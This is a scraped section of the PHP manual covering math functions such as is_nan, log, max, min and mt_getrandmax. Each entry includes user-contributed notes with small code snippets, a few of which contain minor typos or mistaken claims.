<?php function is_infinite($v){return -9e1000==$v||$v==9e1000;}; ?>

this works because any number that is too big or too small for a float is considered to be infinite or -infinite.
Anonymous 03-May-2012 01:55
PHP_INT_MAX is The largest integer supported in this build of PHP. Usually int(2147483647). Available since PHP 4.4.0 and PHP 5.0.5
stangelanda at arrowquick dot com 28-Aug-2007 04:29
Actually any string ending in INF is more appropriate than any string beginning with INF.  Since negative infinity evaluates to "-INF" but it is still infinite.  However in either case the STRING "INF" is not infinite, only a float that converts to "INF" or "-INF" is infinite.

A more appropriate function might be:
<?php
if (!is_defined('is_infinite')) { function is_infinite($val) {
    return (is_float($val) and ("$val"=='INF' or "$val"=='-INF'));
} }
?>
* However the above function is untested.
21-Aug-2006 05:54
@ david,

That will return true for any string ending with "INF".
I think substr("$value",0,3) would be more appropriate.
david(@t)nirvanis(d@t)org 31-Aug-2004 11:49
If you have PHP lower than 4.2 you can simulate the behaviour:

function is_infinite($value) {
   return (substr("$value",-3) == "INF");
}

(tested on php 4.1.2)


Finds whether a value is not a number

  • « is_infinite
  • lcg_value »
  • PHP Manual
  • Math Functions
  • Finds whether a value is not a number

is_nan

(PHP 4 >= 4.2.0, PHP 5)

is_nan — Finds whether a value is not a number

Description

bool is_nan ( float $val )

Checks whether val is 'not a number', like the result of acos(1.01).

Parameters

val

The value to check

Return Values

Returns TRUE if val is 'not a number', else FALSE.

Examples

Example #1 is_nan() example

<?php
// Invalid calculation, will return a
// NaN value
$nan = acos(8);

var_dump($nan, is_nan($nan));
?>

The above example will output:

float(NAN)
bool(true)

See Also

  • is_finite() - Finds whether a value is a legal finite number
  • is_infinite() - Finds whether a value is infinite

User Contributed Notes

modern dot apocalypse at gmail dot com 15-Mar-2012 07:14
I have decided to do some testing because I am getting unusual results with the is_nan function and here are the results of my tests:

<?php
var_dump(NAN); // float NAN

var_dump(NAN == NAN); // boolean true
var_dump(NAN === NAN); // boolean true
var_dump(is_nan(NAN)); // boolean true

var_dump(NAN == 12); // boolean true
var_dump(NAN === 12); // boolean false
var_dump(is_nan(12)); // boolean false

var_dump(NAN == 12.4); // boolean true
var_dump(NAN === 12.4); // boolean true
var_dump(is_nan(12.4)); // boolean false

var_dump(NAN == NULL); // boolean true
var_dump(NAN === NULL); // boolean false
var_dump(is_nan(NULL)); // boolean false

var_dump(NAN == 'K<WNPO'); // boolean true
var_dump(NAN === 'K<WNPO'); // boolean false
var_dump(is_nan('K<WNPO')); // null and throws a warning "Warning: is_nan() expects parameter 1 to be double, string given in NANTest.php on line 13"
php at keith tyler dot com 15-Apr-2010 01:46
It seems odd to me, but in boolean context, NAN evalutes to true.

<?php
var_dump(acos(8));
var_dump((bool)acos(8));
?>

Returns:

float(NAN)
bool(true)

Incidentally INF and -INF also evaluate to true.
J.K. 08-Jul-2009 01:44
For seeing whether or not something is a number, use ctype_digit().
darkangel at moveinmod dot net 02-Mar-2006 07:04
nan/"not a number" is not meant to see if the data type is numeric/textual/etc..

NaN is actually a set of values which can be stored in floating-point variables, but dont actually evaluate to a proper floating point number.

The floating point system has three sections: 1 bit for the sign (+/-), an 8 bit exponent, and a 23 bit fractional part.
There are rules governing which combinations of values can be placed into each section, and some values are reserved for numbers such as infinity. This leads to certain combinations being invalid, or in other words, not a number.
Vincent 24-Feb-2005 03:04
Since NaN is not even equal to itself, here is a way to test it:

<?php

function my_is_nan($_) {
return ($_ !== $_);
}

?>


Combined linear congruential generator

  • « is_nan
  • log10 »
  • PHP Manual
  • Math Functions
  • Combined linear congruential generator

lcg_value

(PHP 4, PHP 5)

lcg_value — Combined linear congruential generator

Description

float lcg_value ( void )

lcg_value() returns a pseudo random number in the range of (0, 1). The function combines two CGs with periods of 2^31 - 85 and 2^31 - 249. The period of this function is equal to the product of both primes.

Return Values

A pseudo random float value in the range of (0, 1)

See Also

  • rand() - Generate a random integer
  • mt_rand() - Generate a better random value

User Contributed Notes

daniel dot baulig at gmx dot de 04-Feb-2010 04:16
Choose your weapon:
<?php
function mt_randf($min, $max)
{
    return $min + abs($max - $min) * mt_rand(0, mt_getrandmax())/mt_getrandmax();
}
function lcg_randf($min, $max)
{
    return $min + lcg_value() * abs($max - $min);
}
function randf($min, $max)
{
    return $min + rand(0,getrandmax()) / getrandmax() * abs($max - $min);
}?>
rok kralj gmail com 05-Jun-2007 05:54
An elegant way to return random float between two numbers:

<?php
function random_float ($min,$max) {
   return ($min+lcg_value()*(abs($max-$min)));
}
?>


Base-10 logarithm

  • « lcg_value
  • log1p »
  • PHP Manual
  • Math Functions
  • Base-10 logarithm

log10

(PHP 4, PHP 5)

log10 — Base-10 logarithm

Description

float log10 ( float $arg )

Returns the base-10 logarithm of arg.

Parameters

arg

The argument to process

Return Values

The base-10 logarithm of arg

See Also

  • log() - Natural logarithm

User Contributed Notes

jphansen at uga dot edu 22-Jun-2011 03:31
Alternatively log(x, 10) may be used.
smalladi at lexgen dot com 21-Nov-2001 12:47
Note that log of a negative or undefined number returns -Infinity.


Returns log(1 + number), computed in a way that is accurate even when the value of number is close to zero

  • « log10
  • log »
  • PHP Manual
  • Math Functions
  • Returns log(1 + number), computed in a way that is accurate even when the value of number is close to zero

log1p

(PHP 4 >= 4.1.0, PHP 5)

log1p — Returns log(1 + number), computed in a way that is accurate even when the value of number is close to zero

Description

float log1p ( float $number )

log1p() returns log(1 + number) computed in a way that is accurate even when the value of number is close to zero. log() might only return log(1) in this case due to lack of precision.

Parameters

number

The argument to process

Return Values

log(1 + number)

Changelog

Version | Description
5.3.0 | This function is now available on all platforms

See Also

  • expm1() - Returns exp(number) - 1, computed in a way that is accurate even when the value of number is close to zero
  • log() - Natural logarithm
  • log10() - Base-10 logarithm

User Contributed Notes

11-Sep-2002 11:29
Note that the benefit of this function for small argument values is lost if PHP is compiled against a C library that that not have builtin support for the log1p() function.

In this case, log1p() will be compiled by using log() instead, and the precision of the result will be identical to log(1), i.e. it will always be 0 for small numbers.
Sample log1p(1.0e-20):
- returns 0.0 if log1p() is approximated by using log()
- returns something very near from 1.0e-20, if log1p() is supported by the underlying C library.

One way to support log1p() correctly on any platform, so that the magnitude of the expected result is respected:

function log1p($x) {
return ($x>-1.0e-8 && $x<1.0e-8) ? ($x - $x*$x/2) : log(1+$x);
}

If you want better precision, you may use a better limited development, for small positive or negative values of x:

log(1+x) = x - x^2/2 + x^3/3 - ... + (-1)^(n-1)*x^n/n + ...

(This serial sum converges only for values of x in [0 ... 1] inclusive, and the ^ operator in the above formula means the exponentiation operator, not the PHP xor operation)

Note that log1p() is undefined for arguments lower than or equal to -1, and that the implied base of the log function is the Neperian "e" constant.


Natural logarithm

  • « log1p
  • max »
  • PHP Manual
  • Math Functions
  • Natural logarithm

log

(PHP 4, PHP 5)

log — Natural logarithm

Description

float log ( float $arg [, float $base = M_E ] )

If the optional base parameter is specified, log() returns logbase arg, otherwise log() returns the natural logarithm of arg.

Parameters

arg

The value to calculate the logarithm for

base

The optional logarithmic base to use (defaults to 'e' and so to the natural logarithm).

Return Values

The logarithm of arg to base, if given, or the natural logarithm.

See Also

  • log10() - Base-10 logarithm
  • exp() - Calculates the exponent of e
  • pow() - Exponential expression

User Contributed Notes

ClaudiuS 22-Feb-2013 04:34
If you just need to check if N is a perfect power of Base, log() is SLOW compared to a WHILE construct that will be 2x faster!

Tested on range: 1 ... 20.000.000 => while() is 2.105 times faster

<?php

$number='fill in your number here'
$base='fill in requested base here';

//use when the power is needed
$pow=0;do { $number/=$base;$pow++; } while ($number>1);
if ($number==1) print $base.'^'.$pow;
else print 'False';

//use when just a check is needed
do $number/=$base; while ($number>1);
if ($number==1) print 'True';
else print 'False';
?>
olafurw [at] gmail.com 04-Nov-2008 01:56
For those interested. Works with older than 4.3 versions.

<?php
    function byteConvert($bytes)
    {
        $s = array('B', 'Kb', 'MB', 'GB', 'TB', 'PB');
        $e = floor(log($bytes)/log(1024));

        return sprintf('%.2f '.$s[$e], ($bytes/pow(1024, floor($e))));
    }
?>
dingus_76 at hotmail dot com 16-May-2008 04:41
well i been pulling my hair out trying to get log to work with big numbers and i ended up writing a bclog function so to save everyone else the stress here it is

<?php
function bclog($X,$base=10,$decimalplace=12){
    $integer_value=0;
    while($X < 1){
        $integer_value = $integer_value - 1 ;
        $X = bcmul($X , base);
    }
    while($X >= $base){
        $integer_value = $integer_value + 1;
        $X = bcdiv($X , $base );
    }
    $decimal_fraction = 0.0;
    $partial = 1.0;
    # Replace X with X to the 10th power
    $X = bcpow($X , 10);
    while($decimalplace > 0){
        $partial = bcdiv($partial , 10);
        $digit=0;
        while($X >= $base){
              $digit = $digit + 1;
              $X = bcdiv($X , $base);
        }
        $decimal_fraction = bcadd($decimal_fraction , bcmul($digit , $partial));
        # Replace X with X to the 10th power
        $X = bcpow($X , 10);
        $decimalplace = $decimalplace - 1 ;
    }
    return $integer_value + $decimal_fraction ;
}
?>
Ulf Wostner 06-Aug-2006 02:56
<?php

#--------------------------------------------------------
#     How many digits does an integer have?
#--------------------------------------------------------

function digit_count($n, $base=10) {

  if($n == 0) return 1;

  if($base == 10) {
    # using the built-in log10(x)
    # might be more accurate than log(x)/log(10).
    return 1 + floor(log10(abs($n)));
  }else{
    # here  logB(x) = log(x)/log(B) will have to do.
   return 1 + floor(log(abs($n))/ log($base));
  }
}

# Example:  How many decimal digits for 2 to the power 24?
echo digit_count(pow(2, 24));

# Example: How many bits to write 1 billion in binary, last century?

if($country_code  == 'US') echo digit_count(pow(10, 9), 2);
if($country_code == 'UK') echo digit_count(pow(10, 12), 2);

#--------------------------------------------------------
#     Using log to format columns.
#--------------------------------------------------------

# Suppose we have a dynamically generated list of integers,
# and want to present them as a table. The use of log10 in
# our digit_count helps calculate the proper format string.

function print_list_of_ints($ints, $line_width=40) {

  # Apply our digit_count to the max int among ints.
  $field_width = 2 + digit_count(max($ints));

  # Create format string for printf.
  $format = "%${field_width}d";

  $ints_per_line = floor($line_width/$field_width);

  $border = str_repeat("-", $ints_per_line * $field_width);

  echo "\n$border\n";

  foreach($ints as $count => $int) {
    if( $count and ($count % $ints_per_line == 0)) echo "\n";
    printf($format, $int);
  }

  echo "\n$border\n";
}

# To generate an example, here is a basic function
# returning a list of (pseudo) random numbers.

function rands($how_many) {
  for($i=0; $i < $how_many; $i++) $rands[] = rand();
  return $rands;
}

# Example:  A list of random ints dynamically formatted into columns.

print_list_of_ints(rands(11));

/* Sample output. Numbers and fonts vary. Visualize monospace!

------------------------------------
  1093146637   244503173  1346204527
   638304372   140216732  1054707210
   573915416  1728677954  2038899669
   534854768    12674586
------------------------------------

*/

?>
mcmeijer at yahoo dot com 03-Feb-2005 04:22
$val = 1000000
$val2 = floor(log($val,10)) gives a value of 5 for $val2 and not 6 as expected.
$val2 = floor(log10($val)) gives the correct value.
c0x at mail dot ru 19-Sep-2004 12:08
more general version, works fine on negative, very big ($value > 1E+18) and very small ($value < 1E-18) numbers.

function expn($value, $prec = 3, $base = 1000, $prefix = '') {
    $e = array('a', 'f', 'p', 'n', 'u', 'm', '', 'k', 'M', 'G', 'T', 'P', 'E');
    $p = min(max(floor(log(abs($value), $base)), -6), 6);
    return round((float)$value / pow($base, $p), $prec) . $prefx . $e[$p + 6];
}
admin at worldtakeover dot tk 20-Jun-2004 10:06
In regards to the note about log in base 10 and the round() function. You need to use floor() instead of round() to find out the order of magnitude. That way, you don't have to worry about subtracting 0.5 or whatever.


Find highest value

  • « log
  • min »
  • PHP Manual
  • Math Functions
  • Find highest value

max

(PHP 4, PHP 5)

max — Find highest value

Description

mixed max ( array $values )
mixed max ( mixed $value1 , mixed $value2 [, mixed $... ] )

If the first and only parameter is an array, max() returns the highest value in that array. If at least two parameters are provided, max() returns the biggest of these values.

Note:

Values of different types will be compared using the standard comparison rules. For instance, a non-numeric string will be compared to an integer as though it were 0, but multiple string values will be compared alphanumerically. The actual value returned will be of the original type with no conversion applied.

Parameters

values

An array containing the values.

value1

Any comparable value.

value2

Any comparable value.

...

Any comparable value.

Return Values

max() returns the parameter value considered "highest" according to standard comparisons. If multiple values of different types evaluate as equal (e.g. 0 and 'abc') the first provided to the function will be returned.

Examples

Example #1 Example uses of max()

<?php
echo max(2, 3, 1, 6, 7);  // 7
echo max(array(2, 4, 5)); // 5

// The string 'hello' when compared to an int is treated as 0
// Since the two values are equal, the order they are provided determines the result
echo max(0, 'hello');     // 0
echo max('hello', 0);     // hello

// Here we are comparing -1 < 0, so 'hello' is the highest value
echo max('hello', -1);    // hello

// With multiple arrays of different lengths, max returns the longest
$val = max(array(2, 2, 2), array(1, 1, 1, 1)); // array(1, 1, 1, 1)

// Multiple arrays of the same length are compared from left to right
// so in our example: 2 == 2, but 5 > 4
$val = max(array(2, 4, 8), array(2, 5, 1)); // array(2, 5, 1)

// If both an array and non-array are given, the array will be returned
// as comparisons treat arrays as greater than any other value
$val = max('string', array(2, 5, 7), 42);   // array(2, 5, 7)

// If one argument is NULL or a boolean, it will be compared against
// other values using the rule FALSE < TRUE regardless of the other types involved
// In the below examples, -10 is treated as TRUE in the comparison
$val = max(-10, FALSE); // -10
$val = max(-10, FALSE); // -10

// 0, on the other hand, is treated as FALSE, so is "lower than" TRUE
$val = max(0, TRUE); // TRUE
?>

See Also

  • min() - Find lowest value
  • count() - Count all elements in an array, or something in an object

User Contributed Notes

ReVo_ 13-Jun-2014 12:28
Sometimes you could need to get the max from an array which looks like this:

<?php
$arrTest = array(
    array( "day" => 1, "b" => 10 ),
    array( "day" => 2, "b" => 43 ),
    array( "day" => 3, "b" => 2 ),
    array( "day" => 4, "b" => -3 ),
    array( "day" => 5, "b" => 4 ),
    array( "day" => 6, "b" => -5 )
);
?>
all max functions i see around don't provide a way to get the max value of the values in (example) key "b"

<?php
function maxValueInArray($array, $keyToSearch)
{
    $currentMax = NULL;
    foreach($array as $arr)
    {
        foreach($arr as $key => $value)
        {
            if ($key == $keyToSearch && ($value >= $currentMax))
            {
                $currentMax = $value;
            }
        }
    }

    return $currentMax;
}

//                                            array       key
$value = maxValueInArray($arrTest, "b");

?>

output: 43
volch5 at gmail dot com 08-May-2014 01:07
max() (and min()) on DateTime objects compares them like dates (with timezone info) and returns DateTime object.
<?php
$dt1 = new DateTime('2014-05-07 18:53', new DateTimeZone('Europe/Kiev'));
$dt2 = new DateTime('2014-05-07 16:53', new DateTimeZone('UTC'));
echo max($dt1,$dt2)->format(DateTime::RFC3339) . PHP_EOL; // 2014-05-07T16:53:00+00:00
echo min($dt1,$dt2)->format(DateTime::RFC3339) . PHP_EOL; // 2014-05-07T18:53:00+03:00
?>

It works at least 5.3.3-7+squeeze17
levim at php dot net 22-Aug-2012 02:18
<?php
/**
 * @param array $array
 *
 * @return int|null Returns the largest value of the array. Returns NULL if no
 *     integers are found.
 */
function array_max_recursive(array $array) {
    $max = NULL;
    $stack = array($array);

    do {
        $current = array_pop($stack );
        foreach ($current as $value) {
            if (is_array($value)) {
                $stack[] = $value;
            } elseif (filter_var($value, FILTER_VALIDATE_INT) !== FALSE) {
                // max(NULL, 0) returns NULL, so cast it
                $max = (int) max($max, $value);
            }
        }

    } while (!empty($stack));

    return $max;
}
?>

 - This function is not actually recursive, but fulfills the requirement that it works on sub-arrays.  I do this because PHP is not very good at recursion.  I also did it because I enjoy doing things this way.
 - It returns something of type int, never a string representation of an int. The exception is when you provide an array that does not contain any integers.  It will then return NULL.
 - It ignores non-array, non-int values.
toon dot baeyens at gmail dot com 08-May-2012 03:42
A little function for multi-dimensional arrays:
<?php
function amax($array){
    if(is_array($array)){
        foreach($array as $key => $value){
            $array[$key] = amax($value);
        }
        return max($array);
    }else{
        return $array;
    }
}
?>
costinu 02-Feb-2012 03:21
max(null, 0) = null
max(0, null) = 0
sun at drupal dot org 03-Aug-2011 08:25
Note that max() throws a warning if the array is empty:

<?php
$a = array();
max($a);
// Warning: max(): Array must contain at least one element
?>

So make sure your data isn't empty.
php at rijkvanwel dot nl 12-Apr-2011 11:08
To get the largest key in an array:

<?php
$array = array( 0 => 'first', 1=> 'second', /* ... */ 99 => 'nth' );
$max_key = max( array_keys( $array ) ); // 99
?>
Alex Stanhope 28-Oct-2010 12:00
If you want to test whether x lies within two bounds:

<?php
    static function isInRange($x, $y1, $y2) {
        return( ($x >= min($y1, $y2)) && ($x <= max($y1, $y2)) );
    }

//called by:

   class::isInRange(10,12,2);
//or
   $this->isInRange(10,12,2);
//or (drop static)
   isInRange(10,12,2);

//simple test function:

    static function unit_isInRange() {
        $output = array();
        $inputlist[] = array(10, 12, 2, true);
        $inputlist[] = array(13, 12, 2, false);
        $inputlist[] = array(2, -2, 2, true);
        $inputlist[] = array(2, -8, -2, false);
        foreach($inputlist as $input) {
            $output[] = array(
                'input' => array($input[0], $input[1], $input[2]),
                'output' => self::isInRange($input[0],$input[1],$input[2]),
                'expected' => $input[3],
            );
        }
        return($output);
    }
?>
Alex Rath 10-Apr-2010 08:27
Notice that whenever there is a Number in front of the String, it will be used for Comparison.

<?php

  max('7iuwmssuxue', 1); //returns 7iuwmssuxu
  max('-7suidha', -4); //returns -4

?>

But just if it is in front of the String

<?php

  max('sdihatewin7wduiw', 3); //returns 3

?>
grillen at abendstille dot at 02-Apr-2010 12:55
max only accepts not empty arrays.

if you work a lot with numerical arrays and with max, this function may come in handy:

<?php
if (!function_exists('emax')) {
    function emax($arr) {
        if (!is_array($arr)) return call_user_func_array('max', func_get_args());
        if (count($arr) == 0) return 0;
        return max($arr);
    }
}
?>
marcini 11-May-2009 04:34
Note that max() can compare dates, so if you write something like this:

<?php
$dates = array('2009-02-15', '2009-03-15');
echo max($dates);
?>

you will get: 2009-03-15.
ries at vantwisk dot nl 09-Nov-2008 03:36
I had several occasions that using max is a lot slower then using a if/then/else construct. Be sure to check this in your routines!

Ries
Marcus Zacco 29-Sep-2008 06:47
This code loops through seven arrays and finds the highest average value within those arrays - and changes the font color for it. Great for highlighting.

The biggest take-away is this the row
if($average[$i] == max($average))

The number_format just rounds the numbers to 0 decimal points.

<?php
for ( $i = 0; $i <= 6; $i++) {
  $num = $i+1;
  if($average[$i] == max($average)) {
    echo "Value ".$num.": <font color='red'>".number_format($average[$i], 0, '.', '')." % </font<br>";
  } else {
    echo "Value ".$num.": ".number_format($average[$i],0,'.','')." %<br>";
  }
}
?>

### OUTPUT

Value 1: 52 %
Value 2: 58 %
Value 3: 56 %
Value 4: 73 %
Value 5: 77 % <- this 77 is highlighted in red
Value 6: 71 %
Value 7: 75 %
harmor 21-Feb-2008 06:56
A way to bound a integer between two values is:

<?php
function bound($x, $min, $max)
{
     return min(max($x, $min), $max);
}
?>

which is the same as:

<?php
$tmp = $x;
if($tmp < $min)
{
    $tmp = $min;
}
if($tmp > $max)
{
     $tmp = $max;
}
$y = $tmp;
?>

So if you wanted to bound an integer between 1 and 12 for example:

Input:
<?php
$x = 0;
echo bound(0, 1, 12).'<br />';
$x = 1;
echo bound($x, 1, 12).'<br />';
$x = 6;
echo bound($x, 1, 12).'<br />';
$x = 12;
echo bound($x, 1, 12).'<br />';
$x = 13;
echo bound($x, 1, 12).'<br />';
?>

Output:
1
1
6
12
12
michaelangel0 at mail.com 05-Jul-2007 12:00
Matlab users and others may feel lonely without the double argument output from min and max functions.

To have the INDEX of the highest value in an array, as well as the value itself, use the following, or a derivative:

<?php
function doublemax($mylist){
  $maxvalue=max($mylist);
  while(list($key,$value)=each($mylist)){
    if($value==$maxvalue)$maxindex=$key;
  }
  return array("m"=>$maxvalue,"i"=>$maxindex);
}
?>
jeremi23 at gmail dot com 14-Jun-2007 12:09
max on a an array with key/values

<?php
$tmp = array(1 => 5, 2=> 3);
echo max($tmp);
?>

this return 5, so the max is done on the values.
johnmott59 at hotmail dot com 17-May-2007 09:35
To find the maximum value from a set of 1-dimensional arrays, do this:

<?php
$d1 = array(450,420,440,430,421);
$d2 = array(460,410,410,430,413,375,256,411,656);
$d3 = array(430,440,470,435,434,255,198);

$t = max(max($d1),max($d2),max($d3));
// $t is 656
?>

The inner max() functions operate on the arrays, the outer max compares the numeric results of the inner ones.
johnphayes at gmail dot com 02-May-2006 06:27
Regarding boolean parameters in min() and max():

(a) If any of your parameters is boolean, max and min will cast the rest of them to boolean to do the comparison.
(b) true > false
(c) However, max and min will return the actual parameter value that wins the comparison (not the cast).

Here's some test cases to illustrate:

1.  max(true,100)=true
2.  max(true,0)=true
3.  max(100,true)=100
4.  max(false,100)=100
5.  max(100,false)=100
6.  min(true,100)=true
7.  min(true,0)=0
8.  min(100,true)=100
9.  min(false,100)=false
10. min(100,false)=false
11. min(true,false)=false
12. max(true,false)=true


Find lowest value

  • « max
  • mt_getrandmax »
  • PHP Manual
  • Math Functions
  • Find lowest value

min

(PHP 4, PHP 5)

min — Find lowest value

Description

mixed min ( array $values )
mixed min ( mixed $value1 , mixed $value2 [, mixed $... ] )

If the first and only parameter is an array, min() returns the lowest value in that array. If at least two parameters are provided, min() returns the smallest of these values.

Note:

Values of different types will be compared using the standard comparison rules. For instance, a non-numeric string will be compared to an integer as though it were 0, but multiple string values will be compared alphanumerically. The actual value returned will be of the original type with no conversion applied.

Parameters

values

An array containing the values.

value1

Any comparable value.

value2

Any comparable value.

...

Any comparable value.

Return Values

min() returns the parameter value considered "lowest" according to standard comparisons. If multiple values of different types evaluate as equal (e.g. 0 and 'abc') the first provided to the function will be returned.

Examples

Example #1 Example uses of min()

<?php
echo min(2, 3, 1, 6, 7);  // 1
echo min(array(2, 4, 5)); // 2

// The string 'hello' when compared to an int is treated as 0
// Since the two values are equal, the order they are provided determines the result
echo min(0, 'hello');     // 0
echo min('hello', 0);     // hello

// Here we are comparing -1 < 0, so -1 is the lowest value
echo min('hello', -1);    // -1

// With multiple arrays of different lengths, min returns the shortest
$val = min(array(2, 2, 2), array(1, 1, 1, 1)); // array(2, 2, 2)

// Multiple arrays of the same length are compared from left to right
// so in our example: 2 == 2, but 4 < 5
$val = min(array(2, 4, 8), array(2, 5, 1)); // array(2, 4, 8)

// If both an array and non-array are given, the array is never returned
// as comparisons treat arrays as greater than any other value
$val = min('string', array(2, 5, 7), 42);   // string

// If one argument is NULL or a boolean, it will be compared against
// other values using the rule FALSE < TRUE regardless of the other types involved
// In the below examples, both -10 and 10 are treated as TRUE in the comparison
$val = min(-10, FALSE, 10); // FALSE
$val = min(-10, NULL, 10);  // NULL

// 0, on the other hand, is treated as FALSE, so is "lower than" TRUE
$val = min(0, TRUE); // 0
?>

See Also

  • max() - Find highest value
  • count() - Count all elements in an array, or something in an object

User Contributed Notes

volch5 at gmail dot com 08-May-2014 01:10
min() (and max()) on DateTime objects compares them like dates (with timezone info) and returns DateTime object.
<?php
$dt1 = new DateTime('2014-05-07 18:53', new DateTimeZone('Europe/Kiev'));
$dt2 = new DateTime('2014-05-07 16:53', new DateTimeZone('UTC'));
echo max($dt1,$dt2)->format(DateTime::RFC3339) . PHP_EOL; // 2014-05-07T16:53:00+00:00
echo min($dt1,$dt2)->format(DateTime::RFC3339) . PHP_EOL; // 2014-05-07T18:53:00+03:00
?>

It works at least 5.3.3-7+squeeze17
Teelevision 14-Oct-2013 01:09
A function that returns the lowest integer that is not 0.
<?php
/* like min(), but casts to int and ignores 0 */
function min_not_null(Array $values) {
    return min(array_diff(array_map('intval', $values), array(0)));
}
?>
hava82 at gmail dot com 26-Sep-2011 09:35
Here is function can find min by array key

<?php
function min_by_key($arr, $key){
    $min = array();
    foreach ($arr as $val) {
        if (!isset($val[$key]) and is_array($val)) {
            $min2 = min_by_key($val, $key);
            $min[$min2] = 1;
        } elseif (!isset($val[$key]) and !is_array($val)) {
            return false;
        } elseif (isset($val[$key])) {
            $min[$val[$key]] = 1;
        }
    }
    return min( array_keys($min) );
}
?>
php at keith tyler dot com 23-Nov-2010 10:03
If NAN is the first argument to min(), the second argument will always be returned.

If NAN is the second argument, NAN will always be returned.

The relationship is the same but inverted for max().

<?php
// \n's skipped for brevity
print max(0,NAN);
print max(NAN,0);
print min(0,NAN);
print min(NAN,0);
?>

Returns:
0
NAN
NAN
0
matt at borjawebs dot com 13-Nov-2010 10:18
A condensed version (and possible application) of returning an array of array keys containing the same minimum value:

<?php
// data
$min_keys = array();
$player_score_totals = array(
'player1' => 300,
'player2' => 301,
'player3' => 302,
'player4' => 301,
...
);

// search for array keys with min() value
foreach($player_score_totals as $playerid => $score)
    if($score == min($player_score_totals)) array_push($min_keys, $playerid);

print_r($min_keys);
?>
Err 05-Oct-2009 01:32
When using a variable with an array that has a list of numbers, put just the variable in min(). Don't use integer index's. Seems pretty straight forward now, but I wasn't used to just putting down the variable for an array in functions.

<?php
  $list = array(9,5,4,6,2,7);
  echo min($list); // display 2
?>
DO 03-Jul-2008 12:23
I've modified the bugfree min-version to ignore NULL values (else it returns 0).

<?php
function min_mod () {
  $args = func_get_args();

  if (!count($args[0])) return false;
  else {
    $min = false;
    foreach ($args[0] AS $value) {
      if (is_numeric($value)) {
        $curval = floatval($value);
        if ($curval < $min || $min === false) $min = $curval;
      }
    }
  }

  return $min;
}
?>
harmor 21-Feb-2008 06:58
A way to bound a integer between two values is:

function bound($x, $min, $max)
{
     return min(max($x, $min), $max);
}

which is the same as:

$tmp = $x;
if($tmp < $min)
{
    $tmp = $min;
}
if($tmp > $max)
{
     $tmp = $max;
}
$y = $tmp;

So if you wanted to bound an integer between 1 and 12 for example:

Input:
$x = 0;
echo bound(0, 1, 12).'<br />';
$x = 1;
echo bound($x, 1, 12).'<br />';
$x = 6;
echo bound($x, 1, 12).'<br />';
$x = 12;
echo bound($x, 1, 12).'<br />';
$x = 13;
echo bound($x, 1, 12).'<br />';

Output:
1
1
6
12
12
piotr_sobolewski at o2 dot nospampleasenono dot pl 07-Nov-2007 05:11
Be very careful when your array contains both strings and numbers. This code works strange (even though explainable) way:
var_dump(max('25.1.1', '222', '99'));
var_dump(max('2.1.1', '222', '99'));
dave at dtracorp dot com 14-Aug-2006 05:30
empty strings '' will also return false or 0, so if you have something like

$test = array('', 1, 5, 8, 44, 22);

'' will be returned as the lowest value

if you only want to get the lowest number, you'll have to resort to the old fashioned loop

// default minimum value
$minVal = 100;
foreach ($test as $value) {
if (is_numeric($value) && $value < $minVal) {
$minVal = $value;
}
johnphayes at gmail dot com 02-May-2006 06:26
Regarding boolean parameters in min() and max():

(a) If any of your parameters is boolean, max and min will cast the rest of them to boolean to do the comparison.
(b) true > false
(c) However, max and min will return the actual parameter value that wins the comparison (not the cast).

Here's some test cases to illustrate:

1.  max(true,100)=true
2.  max(true,0)=true
3.  max(100,true)=100
4.  max(false,100)=100
5.  max(100,false)=100
6.  min(true,100)=true
7.  min(true,0)=0
8.  min(100,true)=100
9.  min(false,100)=false
10. min(100,false)=false
11. min(true,false)=false
12. max(true,false)=true
steffen at morkland dot com 16-Mar-2006 11:16
> NEVER EVER use this function with boolean variables !!!
> Or you'll get something like this: min(true, 1, -2) == true;

> Just because of:
> min(true, 1, -2) == min(min(true,1), -2) == min(true, -2) == true;

It is possible to use it with booleans, there is is just one thing, which you need to keep in mind, when evaluating using the non strict comparison (==) anyting that is not bool false, 0 or NULL is consideret true eg.:
(5 == true) = true;
(0 == true) = false;
true is also actually anything else then 0, false and null. However when true is converted to a string or interger true == 1, therefore when sorting true = 1. But if true is the maximum number bool true is returned. so to be sure, if you only want to match if true is the max number remember to use the strict comparison operater ===
31-Jan-2006 06:37
NEVER EVER use this function with boolean variables !!!
Or you'll get something like this: min(true, 1, -2) == true;

Just because of:
min(true, 1, -2) == min(min(true,1), -2) == min(true, -2) == true;

You are warned !
alx5000 at walla dot com 13-Jan-2005 02:16
If you want min to return zero (0) when comparing to a string, try this:

<?php
min(3,4,";");  // ";"
min(0,min(3,4,";")) // 0
?>
nonick AT 8027 DOT org 24-Jan-2004 04:43
I tested this with max(), but I suppose it applies to min() too: If you are working with numbers, then you can use:

    $a = ($b < $c) ? $b : $c;

 which is somewhat faster (roughly 16%) than

    $a = min($b, $c);

 I tested this on several loops using integers and floats, over 1 million iterations.

 I'm running PHP 4.3.1 as a module for Apache 1.3.27.
browne at bee why you dot ee dee you 16-Dec-2003 11:30
min() can be used to cap values at a specific value. For instance, if you're grading papers and someone has some extra credit, but  that shouldn't make it to the final score:

$pts_possible = 50;
$score = 55;

// Percent will equal 1 if $score/$pts_possible is greater than 1
$percent = min($score/$pts_possible,1);


Show largest possible random value

  • « min
  • mt_rand »
  • PHP Manual
  • Math Functions
  • Show largest possible random value

mt_getrandmax

(PHP 4, PHP 5)

mt_getrandmax — Show largest possible random value

Description

int mt_getrandmax ( void )

Returns the maximum value that can be returned by a call to mt_rand().

Return Values

Returns the maximum random value returned by mt_rand()

Examples

Example #1 Calculate a random floating-point number

<?php
function randomFloat($min = 0, $max = 1) {
    return $min + mt_rand() / mt_getrandmax() * ($max - $min);
}

var_dump(randomFloat());
var_dump(randomFloat(2, 20));
?>

The above example will output something similar to:

float(0.91601131712832)
float(16.511210331931)

See Also

  • mt_rand() - Generate a better random value
  • mt_srand() - Seed the better random number generator
  • getrandmax() - Show largest possible random value

User Contributed Notes

Anonymous 13-May-2013 09:40
The max on a Windows 7 x64 machine is also 2147483647.
marcus at synchromedia dot co dot uk 10-Aug-2011 10:41
On both 32 and 64-bit systems (OS X and Linux), mt_getrandmax() returns 2147483647 for me, i.e. ~2^31.


Generate a better random value

  • « mt_getrandmax
  • mt_srand »
  • PHP Manual
  • Math Functions
  • Generate a better random value

mt_rand

(PHP 4, PHP 5)

mt_rand — Generate a better random value

Description

int mt_rand ( void )
int mt_rand ( int $min , int $max )

Many random number generators of older libcs have dubious or unknown characteristics and are slow. By default, PHP uses the libc random number generator with the rand() function. The mt_rand() function is a drop-in replacement for this. It uses a random number generator with known characteristics using the » Mersenne Twister, which will produce random numbers four times faster than what the average libc rand() provides.

